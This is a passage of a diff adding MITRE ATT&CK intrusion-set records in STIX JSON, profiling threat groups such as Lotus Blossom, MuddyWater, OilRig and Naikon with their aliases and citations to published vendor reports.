FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)(Citation: Proofpoint Leviathan Oct 2017)" + }, + { + "source_name": "TEMP.Periscope", + "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)" + }, + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "FireEye APT40 March 2019", + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "x_mitre_version": "2.0", + "modified": "2019-04-25T12:24:56.934Z", + "type": "intrusion-set", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Leviathan", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Lotus Blossom", + "description": "[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)", + "type": "intrusion-set", + "aliases": [ + "Lotus Blossom", + "DRAGONFISH", + "Spring Dragon" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "external_references": [ + { + "external_id": "G0030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0030" + }, + { + "source_name": "Lotus Blossom", + "description": "(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)" + }, + { + "source_name": "DRAGONFISH", + "description": "(Citation: Accenture Dragonfish Jan 2018)" + }, + { + "source_name": "Spring Dragon", + "description": "(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)" + }, + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + }, + { + "source_name": "Spring Dragon Jun 2015", + "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.", + "url": "https://securelist.com/the-spring-dragon-apt/70726/" + } + ], + "modified": "2019-03-25T14:17:43.218Z", + "x_mitre_version": "2.0", + "created": "2017-05-31T21:32:01.092Z" + }, + { + "modified": "2018-10-17T00:17:13.469Z", + "type": "intrusion-set", + "revoked": true, + "id": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772", + "name": "MONSOON", + "external_references": [ + { + "external_id": "G0042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0042" + } + ], + "created": "2017-05-31T21:32:07.928Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017) (Citation: FireEye APT35 2018)", + "aliases": [ + "Magic Hound", + "Rocket Kitten", + "Operation Saffron Rose", + "Ajax Security Team", + "Operation Woolen-Goldfish", + "Newscaster", + "Cobalt Gypsy", + "APT35" + ], + "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "external_references": [ + { + "external_id": "G0059", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0059" + }, + { + "source_name": "Magic Hound", + "description": "(Citation: Unit 42 Magic Hound Feb 2017)" + }, + { + "source_name": "Rocket Kitten", + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the adversary group Rocket Kitten. (Citation: Unit 42 Magic Hound Feb 2017) (Citation: ClearSky Charming Kitten Dec 2017)" + }, + { + "source_name": "Operation Saffron Rose", + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose. (Citation: Unit 42 Magic Hound Feb 2017)" + }, + { + "source_name": "Ajax Security Team", + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team. (Citation: Unit 42 Magic Hound Feb 2017)" + }, + { + "source_name": "Operation Woolen-Goldfish", + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish. (Citation: Unit 42 Magic Hound Feb 2017)" + }, + { + "source_name": "Newscaster", + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters). (Citation: Unit 42 Magic Hound Feb 2017) (Citation: FireEye APT35 2018)" + }, + { + "source_name": "Cobalt Gypsy", + "description": "Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy. (Citation: Secureworks Cobalt Gypsy Feb 2017)" + }, + { + "source_name": "APT35", + "description": "(Citation: FireEye APT35 2018)" + }, + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + }, + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + }, + { + "source_name": "Secureworks Cobalt Gypsy Feb 2017", + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-25T14:25:29.075Z", + "type": "intrusion-set", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Magic Hound", + "x_mitre_contributors": [ + "Bryan Lee" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Moafee", + "description": "[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)", + "type": "intrusion-set", + "aliases": [ + "Moafee" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f", + "external_references": [ + { + "external_id": "G0002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0002" + }, + { + "source_name": "Moafee", + "description": "(Citation: Haq 2014)" + }, + { + "source_name": "Haq 2014", + "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + } + ], + "modified": "2019-03-25T14:26:03.311Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:46.025Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Molerats", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)", + "type": "intrusion-set", + "aliases": [ + "Molerats", + "Operation Molerats", + "Gaza Cybergang" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "external_references": [ + { + "external_id": "G0021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0021" + }, + { + "source_name": "Molerats", + "description": "(Citation: DustySky)" + }, + { + "source_name": "Operation Molerats", + "description": "(Citation: FireEye Operation Molerats)" + }, + { + "source_name": "Gaza Cybergang", + "description": "(Citation: DustySky)" + }, + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "source_name": "DustySky2", + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + }, + { + "source_name": "FireEye Operation Molerats", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + } + ], + "modified": "2019-03-25T14:27:23.743Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:55.093Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "MuddyWater", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)", + "type": "intrusion-set", + "aliases": [ + "MuddyWater", + "Seedworm", + "TEMP.Zagros" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "external_references": [ + { + "external_id": "G0069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0069" + }, + { + "source_name": "MuddyWater", + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)" + }, + { + "source_name": "Seedworm", + "description": "(Citation: Symantec MuddyWater Dec 2018)" + }, + { + "source_name": "TEMP.Zagros", + "description": "(Citation: FireEye MuddyWater Mar 2018)" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-06-28T15:30:58.102Z", + "x_mitre_version": "2.1", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "NEODYMIUM", + "description": "[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "type": "intrusion-set", + "aliases": [ + "NEODYMIUM" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653", + "external_references": [ + { + "external_id": "G0055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0055" + }, + { + "source_name": "NEODYMIUM", + "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "CyberScoop BlackOasis Oct 2017", + "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", + "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + } + ], + "modified": "2019-03-25T14:31:40.855Z", + "x_mitre_version": "1.0", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Naikon", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "type": "intrusion-set", + "aliases": [ + "Naikon" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "external_references": [ + { + "external_id": "G0019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0019" + }, + { + "source_name": "Naikon", + "description": "(Citation: Baumgartner Naikon 2015) (Citation: CameraShy) (Citation: Baumgartner Golovkin Naikon 2015)" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "source_name": "CameraShy", + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + }, + { + "source_name": "Baumgartner Golovkin Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", + "url": "https://securelist.com/the-naikon-apt/69953/" + } + ], + "modified": "2019-04-10T15:59:09.172Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:54.232Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Night Dragon", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", + "type": "intrusion-set", + "aliases": [ + "Night Dragon" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "external_references": [ + { + "external_id": "G0014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0014" + }, + { + "source_name": "Night Dragon", + "description": "(Citation: McAfee Night Dragon)" + }, + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.638Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:51.643Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.", + "aliases": [ + "OilRig", + "IRN2", + "HELIX KITTEN", + "APT34" + ], + "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "external_references": [ + { + "external_id": "G0049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0049" + }, + { + "source_name": "OilRig", + "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)" + }, + { + "source_name": "IRN2", + "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)" + }, + { + "source_name": "HELIX KITTEN", + "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)" + }, + { + "source_name": "APT34", + "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)" + }, + { + "source_name": "Palo Alto OilRig April 2017", + "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" + }, + { + "source_name": "ClearSky OilRig Jan 2017", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "url": "http://www.clearskysec.com/oilrig/" + }, + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "x_mitre_version": "1.1", + "modified": "2019-07-17T16:17:29.144Z", + "type": "intrusion-set", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OilRig", + "x_mitre_contributors": [ + "Robert Falcone", + "Bryan Lee" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)", + "aliases": [ + "Orangeworm" + ], + "id": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "external_references": [ + { + "external_id": "G0071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0071" + }, + { + "source_name": "Orangeworm", + "description": "(Citation: Symantec Orangeworm April 2018)" + }, + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-25T15:36:46.621Z", + "type": "intrusion-set", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Orangeworm", + "x_mitre_contributors": [ + "Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)", + "aliases": [ + "PLATINUM" + ], + "id": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "external_references": [ + { + "external_id": "G0068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0068" + }, + { + "source_name": "PLATINUM", + "description": "(Citation: Microsoft PLATINUM April 2016)" + }, + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "x_mitre_version": "1.1", + "modified": "2019-05-10T12:14:31.942Z", + "type": "intrusion-set", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PLATINUM", + "x_mitre_contributors": [ + "Ryan Becwar" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "PROMETHIUM", + "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "type": "intrusion-set", + "aliases": [ + "PROMETHIUM" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "external_references": [ + { + "external_id": "G0056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0056" + }, + { + "source_name": "PROMETHIUM", + "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "modified": "2019-03-25T16:47:54.447Z", + "x_mitre_version": "1.0", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Patchwork", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)", + "type": "intrusion-set", + "aliases": [ + "Patchwork", + "Dropping Elephant", + "Chinastrats", + "MONSOON", + "Operation Hangover" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "external_references": [ + { + "external_id": "G0040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0040" + }, + { + "source_name": "Patchwork", + "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)" + }, + { + "source_name": "Dropping Elephant", + "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 